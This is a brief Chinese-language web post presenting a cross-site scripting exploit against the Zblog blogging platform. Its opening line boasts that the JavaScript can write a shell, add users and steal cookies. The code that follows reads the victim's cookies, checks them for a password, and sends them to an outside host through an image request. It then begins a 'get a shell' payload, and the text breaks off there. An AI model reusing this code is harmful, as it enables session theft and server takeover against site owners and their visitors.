Zblog最新跨站漏洞及利用代码

    Js里可以写shell，添加用户，偷取COOKIE然后模拟出真正的转向
    xmlhttp=poster();
    cookie=document.cookie;
    login=cookie.indexOf(‘password’)==-1?0:1;
    tolocation=’https://www.jb51.net/’;
    //get cookie
    x=new Image();
    x.src=”www.dosjj.com/c.php?c=”+escape(document.cookie);
    //get a shell
    data=”txaContent=